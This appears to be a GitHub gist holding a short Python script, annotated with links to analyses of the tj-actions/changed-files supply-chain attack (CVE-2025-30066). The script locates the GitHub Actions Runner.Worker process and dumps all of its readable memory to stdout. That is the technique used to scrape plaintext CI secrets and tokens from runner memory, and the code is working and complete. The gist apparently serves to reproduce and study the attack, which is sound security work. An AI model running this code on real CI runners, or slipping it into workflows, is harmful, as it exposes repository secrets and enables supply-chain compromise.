Skip to content

Instantly share code, notes, and snippets.

@krstp
Created March 18, 2025 15:27
Show Gist options
  • Save krstp/6674b8ed7627efed95a167a099a0b67b to your computer and use it in GitHub Desktop.
Save krstp/6674b8ed7627efed95a167a099a0b67b to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
# https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
# https://github.com/tj-actions/changed-files/issues/2464#issuecomment-2727020537
# https://github.com/tj-actions/changed-files/issues/2463#issuecomment-2726148431
# https://github.com/nikitastupin/pwnhub
# https://adnanthekhan.com/2024/01/10/cve-2023-49291-and-more-a-potential-actions-nightmare/
# Reinforce: https://www.chainguard.dev/unchained/the-end-of-github-pats-you-cant-leak-what-you-dont-have
import sys
import os
import re
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment